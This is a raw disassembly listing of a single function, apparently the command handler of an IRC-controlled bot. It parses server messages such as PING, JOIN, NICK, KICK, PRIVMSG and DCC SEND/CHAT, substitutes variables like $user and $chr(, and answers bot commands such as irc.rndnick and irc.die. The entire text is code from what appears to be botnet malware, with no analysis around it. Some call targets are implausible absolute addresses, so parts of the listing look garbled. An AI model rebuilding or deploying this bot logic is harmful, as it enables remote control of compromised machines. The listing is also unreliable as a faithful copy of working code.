var_D8 = byte ptr -0D8h
var_C0 = dword ptr -0C0h
var_BC = dword ptr -0BCh
var_B8 = byte ptr -0B8h
var_AC = dword ptr -0ACh
var_A8 = dword ptr -0A8h
var_A4 = byte ptr -0A4h
var_94 = dword ptr -94h
var_90 = dword ptr -90h
var_8C = dword ptr -8Ch
var_88 = dword ptr -88h
var_84 = dword ptr -84h
var_80 = dword ptr -80h
var_7C = dword ptr -7Ch
var_54 = byte ptr -54h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = byte ptr -14h
var_13 = byte ptr -13h
var_12 = byte ptr -12h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
arg_1C = dword ptr 24h
arg_20 = dword ptr 28h
arg_24 = dword ptr 2Ch
arg_28 = dword ptr 30h
push ebp
mov ebp, esp
mov eax, 15B0h
call sub_417B30
push ebx
push esi
mov esi, 200h
push edi
xor ebx, ebx
push esi
lea eax, [ebp+var_2DC]
push ebx
push eax
mov [ebp+var_C0], 3
mov [ebp+var_10], ebx
mov [ebp+var_AC], ebx
mov [ebp+var_8], ebx
mov [ebp+var_4], ebx
mov [ebp+var_DC], ebx
call sub_417330
push 1Bh
lea eax, [ebp+var_928]
push [ebp+arg_10]
push eax
call sub_418C10
add esp, 18h
cmp [ebp+arg_0], ebx
jz loc_40F239
push esi
lea eax, [ebp+var_FB0]
push ebx
push eax
call sub_417330
dec esi
lea eax, [ebp+var_FB0]
push esi
push [ebp+arg_0]
push eax
call sub_418C10
lea eax, [ebp+var_FB0]
push offset asc_4387B8 ; " :"
push eax
call sub_417880
mov [ebp+var_C], eax
lea eax, [ebp+var_FB0]
push esi
push eax
lea eax, [ebp+var_11B0]
push eax
call sub_418C10
mov esi, offset asc_42A3B4 ; " "
lea eax, [ebp+var_11B0]
push esi
push eax
call sub_418B6E
add esp, 34h
mov [ebp+var_94], eax
lea edi, [ebp+var_90]
mov [ebp+var_BC], 1Fh
loc_40EF45: ; CODE XREF: sub_40EE72+E7j
push esi
push ebx
call sub_418B6E
mov [edi], eax
pop ecx
add edi, 4
dec [ebp+var_BC]
pop ecx
jnz short loc_40EF45
mov esi, [ebp+var_94]
cmp esi, ebx
jz loc_40F239
cmp [ebp+var_90], ebx
jz loc_40F239
push 100h
lea eax, [ebp+var_A28]
push ebx
push eax
call sub_417330
add esp, 0Ch
lea ecx, [ebp+var_18]
push 1Fh
pop edx
push 1
pop edi
loc_40EF93: ; CODE XREF: sub_40EE72+153j
mov eax, [ecx]
cmp eax, ebx
jz short loc_40EFBF
cmp byte ptr [eax], 2Dh
jnz short loc_40EFC7
cmp [eax+2], bl
jnz short loc_40EFC7
movsx esi, byte ptr [eax+1]
mov [ecx], ebx
mov [ebp+esi+var_A28], 1
mov esi, [ebp+var_94]
mov [eax], bl
mov [eax+1], bl
mov [eax+2], bl
loc_40EFBF: ; CODE XREF: sub_40EE72+125j
dec edx
sub ecx, 4
cmp edx, ebx
jge short loc_40EF93
loc_40EFC7: ; CODE XREF: sub_40EE72+12Aj
; sub_40EE72+12Fj
cmp [ebp+var_9B5], bl
jz short loc_40EFD2
mov [ebp+var_8], edi
loc_40EFD2: ; CODE XREF: sub_40EE72+15Bj
cmp [ebp+var_9BA], bl
jz short loc_40EFE0
mov [ebp+var_8], ebx
mov [ebp+var_4], edi
loc_40EFE0: ; CODE XREF: sub_40EE72+166j
cmp byte ptr [esi], 0Ah
jz short loc_40F01A
push 7Fh
lea eax, [ebp+var_AA8]
push esi
push eax
call sub_418C10
lea eax, [esi+1]
push 17h
push eax
lea eax, [ebp+var_D8]
push eax
call sub_418C10
lea eax, [ebp+var_D8]
push offset asc_4387B4 ; "!"
push eax
call sub_418B6E
add esp, 20h
loc_40F01A: ; CODE XREF: sub_40EE72+171j
push esi
push offset aPing ; "PING"
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jnz short loc_40F06B
push [ebp+var_90]
mov byte ptr [esi+1], 4Fh
push offset aPongS ; "PONG %s\r\n"
push [ebp+arg_4]
call sub_40D633
mov eax, [ebp+arg_20]
add esp, 0Ch
cmp [eax], ebx
jnz loc_40F10F
push [ebp+arg_C]
push [ebp+arg_8]
push offset aJoinSS ; "JOIN %s %s\r\n"
push [ebp+arg_4]
call sub_40D633
add esp, 10h
jmp loc_40F10F
; ---------------------------------------------------------------------------
loc_40F06B: ; CODE XREF: sub_40EE72+1B7j
mov esi, [ebp+var_90]
push esi
push offset a001 ; "001"
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jz loc_4150D3
push esi
push offset a005 ; "005"
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jz loc_4150D3
push esi
push offset a302 ; "302"
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jnz short loc_40F0D3
push offset a@ ; "@"
push [ebp+var_88]
call sub_417880
pop ecx
cmp eax, ebx
pop ecx
jz short loc_40F10F
inc eax
push 9Fh
push eax
push [ebp+arg_1C]
call sub_418C10
jmp short loc_40F10C
; ---------------------------------------------------------------------------
loc_40F0D3: ; CODE XREF: sub_40EE72+238j
push esi
push offset a433 ; "433"
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jnz short loc_40F116
push ebx
push dword_489DC0
push dword_42F5CC
push [ebp+arg_10]
call sub_415D01
add esp, 10h
push [ebp+arg_10]
push offset aNickS ; "NICK %s\r\n"
push [ebp+arg_4]
call sub_40D633
loc_40F10C: ; CODE XREF: sub_40EE72+25Fj
add esp, 0Ch
loc_40F10F: ; CODE XREF: sub_40EE72+1D8j
; sub_40EE72+1F4j ...
mov eax, edi
jmp loc_40F23C
; ---------------------------------------------------------------------------
loc_40F116: ; CODE XREF: sub_40EE72+270j
mov esi, [ebp+arg_18]
mov [ebp+var_BC], 2
mov edi, 80h
loc_40F128: ; CODE XREF: sub_40EE72+2DBj
lea eax, [ebp+var_AA8]
push eax
push esi
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jnz short loc_40F145
mov [ebp+var_AC], 1
loc_40F145: ; CODE XREF: sub_40EE72+2C7j
add esi, edi
dec [ebp+var_BC]
jnz short loc_40F128
mov esi, [ebp+var_90]
push esi
push offset aKick ; "KICK"
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jnz loc_40F241
mov esi, [ebp+arg_18]
mov [ebp+arg_24], 2
loc_40F174: ; CODE XREF: sub_40EE72+392j
cmp [esi], bl
jz loc_40F1FF
push 7Fh
lea eax, [ebp+var_AA8]
push esi
push eax
call sub_418C10
lea eax, [ebp+var_D8]
add esp, 0Ch
test eax, eax
jz short loc_40F1FF
cmp [ebp+var_88], ebx
jz short loc_40F1FF
push [ebp+var_88]
lea eax, [ebp+var_D8]
push eax
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jnz short loc_40F1FF
lea eax, [ebp+var_D8]
mov [esi], bl
push eax
lea eax, [ebp+var_2DC]
push offset dword_438738
push eax
call sub_4172B0
add esp, 0Ch
lea eax, [ebp+var_2DC]
push eax
lea eax, [ebp+var_D8]
push eax
push offset aNoticeSS ; "NOTICE %s :%s\r\n"
push [ebp+arg_4]
call sub_40D633
lea eax, [ebp+var_2DC]
push eax
call sub_40BF6D
add esp, 14h
loc_40F1FF: ; CODE XREF: sub_40EE72+304j
; sub_40EE72+324j ...
add esi, edi
dec [ebp+arg_24]
jnz loc_40F174
push [ebp+var_88]
push [ebp+arg_10]
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jnz short loc_40F239
push [ebp+arg_C]
mov eax, [ebp+arg_20]
push [ebp+arg_8]
mov [eax], ebx
push offset aJoinSS ; "JOIN %s %s\r\n"
loc_40F22E: ; CODE XREF: sub_40EE72+618j
; sub_40EE72+978j
push [ebp+arg_4]
call sub_40D633
loc_40F236: ; CODE XREF: sub_40EE72+57D8j
; sub_40EE72+57F5j ...
add esp, 10h
loc_40F239: ; CODE XREF: sub_40EE72+5Bj
; sub_40EE72+F1j ...
push 1
loc_40F23B: ; CODE XREF: sub_40EE72+5CEBj
pop eax
loc_40F23C: ; CODE XREF: sub_40EE72+29Fj
; sub_40EE72+229Dj ...
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_40F241: ; CODE XREF: sub_40EE72+2F2j
push esi
push offset aNick ; "NICK"
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jnz loc_40F397
mov eax, [ebp+var_8C]
mov esi, [ebp+arg_18]
inc eax
mov [ebp+arg_0], 2
mov [ebp+arg_24], eax
loc_40F26A: ; CODE XREF: sub_40EE72+44Aj
lea eax, [ebp+var_AA8]
push eax
push esi
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jnz short loc_40F2B7
lea eax, [ebp+var_AA8]
push 21h
push eax
call sub_418F50
pop ecx
cmp eax, ebx
pop ecx
mov [ebp+arg_1C], eax
jz short loc_40F2B7
push [ebp+arg_24]
lea edi, [esi+2]
mov byte ptr [esi], 3Ah
lea eax, [edi-1]
push eax
call sub_4179C0
push [ebp+arg_1C]
push edi
call sub_4179D0
add esp, 10h
mov edi, 80h
loc_40F2B7: ; CODE XREF: sub_40EE72+409j
; sub_40EE72+420j
add esi, edi
dec [ebp+arg_0]
jnz short loc_40F26A
lea eax, [ebp+var_D8]
test eax, eax
jz loc_40F239
cmp [ebp+arg_24], ebx
jz loc_40F239
push [ebp+arg_10]
lea eax, [ebp+var_D8]
push eax
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jnz short loc_40F2FF
push 0Fh
push [ebp+arg_24]
push [ebp+arg_10]
call sub_418C10
add esp, 0Ch
jmp loc_40F239
; ---------------------------------------------------------------------------
loc_40F2FF: ; CODE XREF: sub_40EE72+476j
mov edi, [ebp+arg_18]
xor esi, esi
loc_40F304: ; CODE XREF: sub_40EE72+4B3j
cmp [edi], bl
jz short loc_40F31B
lea eax, [ebp+var_AA8]
push eax
push edi
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jz short loc_40F32C
loc_40F31B: ; CODE XREF: sub_40EE72+494j
inc esi
add edi, 80h
cmp esi, 2
jl short loc_40F304
jmp loc_40F239
; ---------------------------------------------------------------------------
loc_40F32C: ; CODE XREF: sub_40EE72+4A7j
lea eax, [ebp+var_AA8]
push 21h
push eax
call sub_418F50
pop ecx
cmp eax, ebx
pop ecx
mov [ebp+arg_0], eax
jz loc_40F239
push eax
call sub_417AB0
push [ebp+arg_24]
mov edi, eax
call sub_417AB0
add edi, eax
pop ecx
cmp edi, 7Eh
pop ecx
ja loc_40F239
push [ebp+arg_0]
shl esi, 7
push [ebp+arg_24]
add esi, [ebp+arg_18]
push offset aSS_0 ; ":%s%s"
push esi
call sub_4172B0
push ebx
lea eax, [ebp+var_4C0]
push ebx
push eax
push [ebp+arg_8]
push [ebp+arg_4]
call sub_40D679
add esp, 24h
jmp loc_40F239
; ---------------------------------------------------------------------------
loc_40F397: ; CODE XREF: sub_40EE72+3DEj
push esi
push offset aPart ; "PART"
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jz short loc_40F3B9
push esi
push offset aQuit ; "QUIT"
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jnz short loc_40F3E0
loc_40F3B9: ; CODE XREF: sub_40EE72+534j
mov edi, [ebp+arg_18]
xor esi, esi
loc_40F3BE: ; CODE XREF: sub_40EE72+56Cj
cmp [edi], bl
jz short loc_40F3D4
push [ebp+var_94]
push edi
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jz short loc_40F42E
loc_40F3D4: ; CODE XREF: sub_40EE72+54Ej
inc esi
add edi, 80h
cmp esi, 2
jl short loc_40F3BE
loc_40F3E0: ; CODE XREF: sub_40EE72+545j
push [ebp+var_90]
push offset a353 ; "353"
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jnz loc_40F48F
push [ebp+var_84]
push [ebp+arg_8]
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jnz short loc_40F417
mov eax, [ebp+arg_20]
mov dword ptr [eax], 1
loc_40F417: ; CODE XREF: sub_40EE72+59Aj
push [ebp+var_84]
push offset dword_4386DC
loc_40F422: ; CODE XREF: sub_40EE72+5B47j
; sub_40EE72+5E96j ...
call sub_40BFE1
pop ecx
loc_40F428: ; CODE XREF: sub_40EE72+5FABj
pop ecx
jmp loc_40F239
; ---------------------------------------------------------------------------
loc_40F42E: ; CODE XREF: sub_40EE72+560j
mov eax, [ebp+arg_18]
shl esi, 7
mov [esi+eax], bl
lea eax, [ebp+var_D8]
push eax
lea eax, [ebp+var_2DC]
push offset dword_4386AC
push eax
call sub_4172B0
lea eax, [ebp+var_2DC]
push eax
call sub_40BF6D
push [ebp+var_90]
push offset aPart ; "PART"
call sub_4176D0
add esp, 18h
test eax, eax
jnz loc_40F239
lea eax, [ebp+var_2DC]
push eax
mov eax, [ebp+var_94]
inc eax
push eax
push offset aNoticeSS ; "NOTICE %s :%s\r\n"
jmp loc_40F22E
; ---------------------------------------------------------------------------
loc_40F48F: ; CODE XREF: sub_40EE72+582j
push [ebp+var_90]
mov esi, offset aPrivmsg ; "PRIVMSG"
push esi
call sub_4176D0
pop ecx
mov edi, offset aNotice ; "NOTICE"
test eax, eax
pop ecx
jz short loc_40F4E3
push [ebp+var_90]
push edi
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jz short loc_40F4E3
push [ebp+var_90]
push offset dword_4386A8
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jnz loc_414F47
cmp dword_42F5B8, ebx
jz loc_414F47
loc_40F4E3: ; CODE XREF: sub_40EE72+637j
; sub_40EE72+649j
push [ebp+var_90]
push esi
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jz loc_40F66F
push [ebp+var_90]
push edi
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jz loc_40F66F
mov eax, [ebp+var_88]
inc [ebp+var_84]
push 4
mov [ebp+var_8C], eax
pop esi
mov [ebp+var_C0], esi
loc_40F52A: ; CODE XREF: sub_40EE72+8B9j
; sub_40EE72+94Dj ...
shl esi, 2
mov eax, [ebp+esi+var_94]
lea edi, [ebp+esi+var_94]
push eax
push offset dword_4386A0
mov [ebp+arg_8], eax
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jnz loc_40F96F
push [ebp+esi+var_90]
push offset aSend_0 ; "SEND"
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jnz loc_40F82A
cmp [ebp+var_AC], ebx
jz loc_40F800
push [ebp+esi+var_8C]
mov edi, offset aS_1 ; "%s"
lea eax, [ebp+var_6F4]
push edi
push eax
call sub_4172B0
add esp, 0Ch
lea eax, [ebp+var_708]
push [ebp+esi+var_88]
push edi
push eax
call sub_4172B0
push [ebp+esi+var_84]
call sub_41781F
mov [ebp+var_570], eax
mov eax, [ebp+arg_4]
mov [ebp+var_710], eax
lea eax, [ebp+var_D8]
push 7Fh
push eax
lea eax, [ebp+var_5F0]
push eax
call sub_418C10
mov eax, [ebp+var_4]
add esp, 1Ch
mov [ebp+var_568], eax
mov eax, [ebp+var_8]
mov [ebp+var_564], eax
lea eax, [ebp+var_5F0]
push eax
lea eax, [ebp+var_6F4]
push eax
lea eax, [ebp+var_2DC]
push offset dword_43865C
push eax
call sub_4172B0
push ebx
lea eax, [ebp+var_2DC]
push 12h
push eax
call sub_416D5C
add esp, 1Ch
mov [ebp+var_56C], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_710]
push ebx
push eax
push offset sub_40C8B4
push ebx
push ebx
call near ptr 2660D4Bh
nop
mov ecx, [ebp+var_56C]
imul ecx, 234h
cmp eax, ebx
mov dword_4450D4[ecx], eax
jz loc_40F7EF
loc_40F659: ; CODE XREF: sub_40EE72+7FBj
cmp [ebp+var_560], ebx
jnz loc_40F822
push 32h
nop
call near ptr 25F0439h
jmp short loc_40F659
; ---------------------------------------------------------------------------
loc_40F66F: ; CODE XREF: sub_40EE72+681j
; sub_40EE72+697j
push [ebp+var_90]
push edi
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jnz short loc_40F688
mov [ebp+var_4], 1
loc_40F688: ; CODE XREF: sub_40EE72+80Dj
cmp [ebp+var_8C], ebx
jz loc_40F239
push (offset loc_4289A7+1)
push [ebp+var_8C]
call sub_417880
pop ecx
test eax, eax
pop ecx
jz short loc_40F6AF
cmp [ebp+var_4], ebx
jz short loc_40F6BB
loc_40F6AF: ; CODE XREF: sub_40EE72+836j
lea eax, [ebp+var_D8]
mov [ebp+var_8C], eax
loc_40F6BB: ; CODE XREF: sub_40EE72+83Bj
cmp [ebp+var_88], ebx
jz loc_40F239
inc [ebp+var_88]
jz short loc_40F707
cmp [ebp+arg_10], ebx
jz short loc_40F707
lea eax, [ebp+var_928]
push eax
call sub_417AB0
push eax
lea eax, [ebp+var_928]
push [ebp+var_88]
push eax
call sub_418DA0
mov esi, eax
add esp, 10h
neg esi
sbb esi, esi
add esi, 4
mov [ebp+var_C0], esi
jmp short loc_40F70D
; ---------------------------------------------------------------------------
loc_40F707: ; CODE XREF: sub_40EE72+85Bj
; sub_40EE72+860j
mov esi, [ebp+var_C0]
loc_40F70D: ; CODE XREF: sub_40EE72+893j
mov edi, [ebp+esi*4+var_94]
cmp edi, ebx
jz loc_40F239
push edi
push offset dword_438650
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jnz loc_40F52A
mov ecx, [ebp+var_8C]
cmp byte ptr [ecx], 23h
jz short loc_40F7B0
mov eax, dword_489DD0
mov eax, off_42F6C8[eax*4]
cmp [eax], bl
jz short loc_40F7B0
push eax
push ecx
push offset dword_438634
push [ebp+arg_4]
call sub_40D633
add esp, 10h
lea eax, [ebp+var_D8]
push eax
lea eax, [ebp+var_2DC]
push offset aSHasJustVersio ; "%s has just versioned me."
push eax
call sub_4172B0
lea eax, [ebp+var_2DC]
push eax
call sub_40BF6D
add esp, 10h
cmp [ebp+var_AC], ebx
jnz loc_40F239
push ebx
lea eax, [ebp+var_2DC]
push 1
push eax
push offset dword_489CDC
loc_40F7A0: ; CODE XREF: sub_40EE72+58C1j
push [ebp+arg_4]
call sub_40D679
add esp, 14h
jmp loc_40F239
; ---------------------------------------------------------------------------
loc_40F7B0: ; CODE XREF: sub_40EE72+8C8j
; sub_40EE72+8D8j
push edi
push offset dword_438610
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jnz loc_40F52A
mov eax, [ebp+esi*4+var_90]
cmp eax, ebx
jz loc_40F52A
mov ecx, [ebp+var_8C]
cmp byte ptr [ecx], 23h
jz loc_40F52A
push eax
push ecx
push offset dword_4385F8
jmp loc_40F22E
; ---------------------------------------------------------------------------
loc_40F7EF: ; CODE XREF: sub_40EE72+7E1j
nop
call near ptr 2630313h
push eax
push offset dword_4385B0
jmp loc_40F95B
; ---------------------------------------------------------------------------
loc_40F800: ; CODE XREF: sub_40EE72+702j
lea eax, [ebp+var_D8]
push eax
push [ebp+esi+var_8C]
push offset dword_438560
loc_40F813: ; CODE XREF: sub_40EE72+6177j
; sub_40EE72+61DEj
lea eax, [ebp+var_2DC]
push eax
call sub_4172B0
add esp, 10h
loc_40F822: ; CODE XREF: sub_40EE72+7EDj
; sub_40EE72+AB1j ...
push 1
pop esi
jmp loc_411100
; ---------------------------------------------------------------------------
loc_40F82A: ; CODE XREF: sub_40EE72+6F6j
push [ebp+esi+var_90]
push offset aChat ; "CHAT"
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jnz loc_40F985
cmp [ebp+var_AC], ebx
jz loc_40F94F
push 13h
call sub_416FA4
test eax, eax
pop ecx
jnz loc_40F941
push [ebp+esi+var_88]
lea eax, [ebp+var_708]
push offset aS_1 ; "%s"
push eax
call sub_4172B0
push [ebp+esi+var_84]
call sub_41781F
mov [ebp+var_570], eax
mov eax, [ebp+arg_4]
mov [ebp+var_710], eax
lea eax, [ebp+var_D8]
push 7Fh
push eax
lea eax, [ebp+var_5F0]
push eax
call sub_418C10
mov eax, [ebp+var_4]
add esp, 1Ch
mov [ebp+var_568], eax
mov eax, [ebp+var_8]
mov [ebp+var_564], eax
lea eax, [ebp+var_D8]
push eax
lea eax, [ebp+var_2DC]
push offset dword_438528
push eax
call sub_4172B0
push ebx
lea eax, [ebp+var_2DC]
push 13h
push eax
call sub_416D5C
add esp, 18h
mov [ebp+var_56C], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_710]
push ebx
push eax
push offset sub_40C351
push ebx
push ebx
nop
call near ptr 2660D4Bh
mov ecx, [ebp+var_56C]
imul ecx, 234h
cmp eax, ebx
mov dword_4450D4[ecx], eax
jz short loc_40F933
loc_40F91D: ; CODE XREF: sub_40EE72+ABFj
cmp [ebp+var_560], ebx
jnz loc_40F822
push 32h
call near ptr 25F0439h
nop
jmp short loc_40F91D
; ---------------------------------------------------------------------------
loc_40F933: ; CODE XREF: sub_40EE72+AA9j
nop
call near ptr 2630313h
push eax
push offset dword_4384E4
jmp short loc_40F95B
; ---------------------------------------------------------------------------
loc_40F941: ; CODE XREF: sub_40EE72+9E9j
lea eax, [ebp+var_D8]
push eax
push offset dword_4384A4
jmp short loc_40F95B
; ---------------------------------------------------------------------------
loc_40F94F: ; CODE XREF: sub_40EE72+9D9j
lea eax, [ebp+var_D8]
push eax
push offset dword_438464
loc_40F95B: ; CODE XREF: sub_40EE72+989j
; sub_40EE72+ACDj ...
lea eax, [ebp+var_2DC]
push eax
call sub_4172B0
add esp, 0Ch
jmp loc_40F822
; ---------------------------------------------------------------------------
loc_40F96F: ; CODE XREF: sub_40EE72+6DBj
mov eax, [ebp+arg_8]
lea ecx, [eax+1]
mov al, [eax]
cmp al, byte_42F5C4
mov [edi], ecx
jnz loc_40F239
loc_40F985: ; CODE XREF: sub_40EE72+9CDj
mov edi, [edi]
mov [ebp+arg_8], edi
push edi
mov edi, offset aC_0 ; "c"
push edi
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jz loc_414F4F
push [ebp+arg_8]
push edi
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jz loc_414F4F
cmp [ebp+var_AC], ebx
jnz short loc_40F9D5
push [ebp+var_90]
push offset dword_4386A8
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jnz loc_414F47
loc_40F9D5: ; CODE XREF: sub_40EE72+B47j
cmp [ebp+arg_28], ebx
jnz loc_414F47
xor edi, edi
cmp dword_4313B0, ebx
jle loc_40FB81
mov [ebp+arg_20], offset dword_444340
loc_40F9F3: ; CODE XREF: sub_40EE72+BA0j
push [ebp+arg_8]
push [ebp+arg_20]
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jz short loc_40FA19
add [ebp+arg_20], 0B8h
inc edi
cmp edi, dword_4313B0
jl short loc_40F9F3
jmp loc_40FB81
; ---------------------------------------------------------------------------
loc_40FA19: ; CODE XREF: sub_40EE72+B90j
push offset asc_4387B8 ; " :"
push [ebp+arg_0]
call sub_417880
pop ecx
cmp eax, ebx
pop ecx
jz loc_40F239
mov cl, byte_42F5C4
imul edi, 0B8h
mov [eax+2], cl
mov cl, byte_42F5C4
mov [eax+3], cl
lea ecx, dword_444358[edi]
push 9Fh
add eax, 4
push ecx
push eax
call sub_418C10
lea eax, [ebp+esi+var_54]
add esp, 0Ch
mov [ebp+arg_20], 0Fh
mov [ebp+arg_C], eax
loc_40FA6E: ; CODE XREF: sub_40EE72+CA4j
push [ebp+arg_20]
lea eax, [ebp+var_B8]
push offset aD_0 ; "$%d-"
push eax
call sub_4172B0
lea eax, [ebp+var_B8]
push eax
push [ebp+arg_0]
call sub_417880
add esp, 14h
test eax, eax
jz short loc_40FADA
mov eax, [ebp+arg_C]
cmp [eax], ebx
jz short loc_40FADA
lea eax, dword_444340[edi]
push eax
call sub_417AB0
add [ebp+var_C], eax
pop ecx
jz short loc_40FB0C
mov eax, [ebp+arg_C]
push dword ptr [eax-4]
push [ebp+var_C]
call sub_417880
pop ecx
cmp eax, ebx
pop ecx
jz short loc_40FB0C
push eax
lea eax, [ebp+var_B8]
push eax
push [ebp+arg_0]
call sub_40A7D7
add esp, 0Ch
jmp short loc_40FB0C
; ---------------------------------------------------------------------------
loc_40FADA: ; CODE XREF: sub_40EE72+C24j
; sub_40EE72+C2Bj
mov eax, [ebp+arg_C]
cmp [eax], ebx
jnz short loc_40FB0C
lea eax, [ebp+var_B8]
push 2
push eax
lea eax, [ebp+var_14]
push eax
call sub_418C10
lea eax, [ebp+var_14]
mov [ebp+var_12], bl
push eax
lea eax, [ebp+var_B8]
push eax
push [ebp+arg_0]
call sub_40A7D7
add esp, 18h
loc_40FB0C: ; CODE XREF: sub_40EE72+C3Dj
; sub_40EE72+C51j ...
dec [ebp+arg_20]
sub [ebp+arg_C], 4
cmp [ebp+arg_20], ebx
jg loc_40FA6E
lea eax, [ebp+esi+var_54]
mov [ebp+arg_20], 10h
mov edi, eax
loc_40FB29: ; CODE XREF: sub_40EE72+D03j
push [ebp+arg_20]
lea eax, [ebp+var_B8]
push offset aD ; "$%d"
push eax
call sub_4172B0
lea eax, [ebp+var_B8]
push eax
push [ebp+arg_0]
call sub_417880
add esp, 14h
test eax, eax
jz short loc_40FB6C
mov eax, [edi]
cmp eax, ebx
jz short loc_40FB6C
push eax
lea eax, [ebp+var_B8]
push eax
push [ebp+arg_0]
call sub_40A7D7
add esp, 0Ch
loc_40FB6C: ; CODE XREF: sub_40EE72+CDFj
; sub_40EE72+CE5j
dec [ebp+arg_20]
sub edi, 4
cmp [ebp+arg_20], ebx
jg short loc_40FB29
mov [ebp+var_DC], 1
loc_40FB81: ; CODE XREF: sub_40EE72+B74j
; sub_40EE72+BA2j
mov eax, [ebp+arg_8]
mov al, [eax]
cmp al, byte_42F5C4
jz short loc_40FB9A
cmp [ebp+var_DC], ebx
jz loc_40FD7F
loc_40FB9A: ; CODE XREF: sub_40EE72+D1Aj
push [ebp+arg_10]
mov edi, [ebp+arg_0]
push offset aMe_0 ; "$me"
push edi
call sub_40A7D7
lea eax, [ebp+var_D8]
push eax
push offset aUser_2 ; "$user"
push edi
call sub_40A7D7
push [ebp+var_8C]
push offset aChan ; "$chan"
push edi
call sub_40A7D7
push ebx
push ebx
lea eax, [ebp+var_B8]
push 2
push eax
call sub_415D01
push eax
push offset aRndnick ; "$rndnick"
push edi
call sub_40A7D7
add esp, 40h
push [ebp+arg_14]
push offset aServer_1 ; "$server"
push edi
call sub_40A7D7
mov edi, offset aChr ; "$chr("
push edi
push [ebp+arg_0]
call sub_417880
add esp, 14h
loc_40FC0C: ; CODE XREF: sub_40EE72+E86j
test eax, eax
jz loc_40FCFD
push edi
push [ebp+arg_0]
call sub_417880
mov [ebp+arg_10], eax
add eax, 5
push 4
push eax
lea eax, [ebp+var_B8]
push eax
call sub_418C10
lea eax, [ebp+var_B8]
push offset asc_438420 ; ")"
push eax
call sub_418B6E
add esp, 1Ch
cmp [ebp+var_B8], 30h
jl short loc_40FC58
cmp [ebp+var_B8], 39h
jle short loc_40FC6E
loc_40FC58: ; CODE XREF: sub_40EE72+DDBj
push 3
lea eax, [ebp+var_B8]
push offset a63 ; "63"
push eax
call sub_418C10
add esp, 0Ch
loc_40FC6E: ; CODE XREF: sub_40EE72+DE4j
lea eax, [ebp+var_B8]
push eax
call sub_41781F
test eax, eax
pop ecx
jle short loc_40FC91
lea eax, [ebp+var_B8]
push eax
call sub_41781F
pop ecx
mov [ebp+var_14], al
jmp short loc_40FCA2
; ---------------------------------------------------------------------------
loc_40FC91: ; CODE XREF: sub_40EE72+E0Bj
call sub_41730C
push 60h
cdq
pop ecx
idiv ecx
add dl, 20h
mov [ebp+var_14], dl
loc_40FCA2: ; CODE XREF: sub_40EE72+E1Dj
lea eax, [ebp+var_B8]
mov [ebp+var_13], bl
push eax
call sub_417AB0
mov [ebp+arg_20], eax
push 0Ch
lea eax, [ebp+var_B8]
push ebx
push eax
call sub_417330
mov eax, [ebp+arg_20]
add eax, 6
push eax
lea eax, [ebp+var_B8]
push [ebp+arg_10]
push eax
call sub_418C10
lea eax, [ebp+var_14]
push eax
lea eax, [ebp+var_B8]
push eax
push [ebp+arg_0]
call sub_40A7D7
push edi
push [ebp+arg_0]
call sub_417880
add esp, 30h
jmp loc_40FC0C
; ---------------------------------------------------------------------------
loc_40FCFD: ; CODE XREF: sub_40EE72+D9Cj
mov edi, 1FFh
lea eax, [ebp+var_FB0]
push edi
push [ebp+arg_0]
push eax
call sub_418C10
lea eax, [ebp+var_FB0]
push edi
push eax
lea eax, [ebp+var_11B0]
push eax
call sub_418C10
lea eax, [ebp+var_11B0]
push offset asc_42A3B4 ; " "
push eax
call sub_418B6E
add esp, 20h
mov [ebp+var_94], eax
lea edi, [ebp+var_90]
mov [ebp+arg_10], 1Fh
loc_40FD4D: ; CODE XREF: sub_40EE72+EF0j
push offset asc_42A3B4 ; " "
push ebx
call sub_418B6E
mov [edi], eax
pop ecx
add edi, 4
dec [ebp+arg_10]
pop ecx
jnz short loc_40FD4D
mov ecx, [ebp+esi+var_94]
lea eax, [ebp+esi+var_94]
cmp ecx, ebx
jz loc_40F239
add ecx, 3
mov [eax], ecx
loc_40FD7F: ; CODE XREF: sub_40EE72+D22j
mov edi, [ebp+esi+var_94]
push edi
push offset aIrc_rndnick ; "irc.rndnick"
mov [ebp+arg_8], edi
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jz loc_414EF5
push edi
push offset aRn ; "rn"
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jz loc_414EF5
push edi
push offset aIrc_die ; "irc.die"
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jz loc_414ED3
push edi
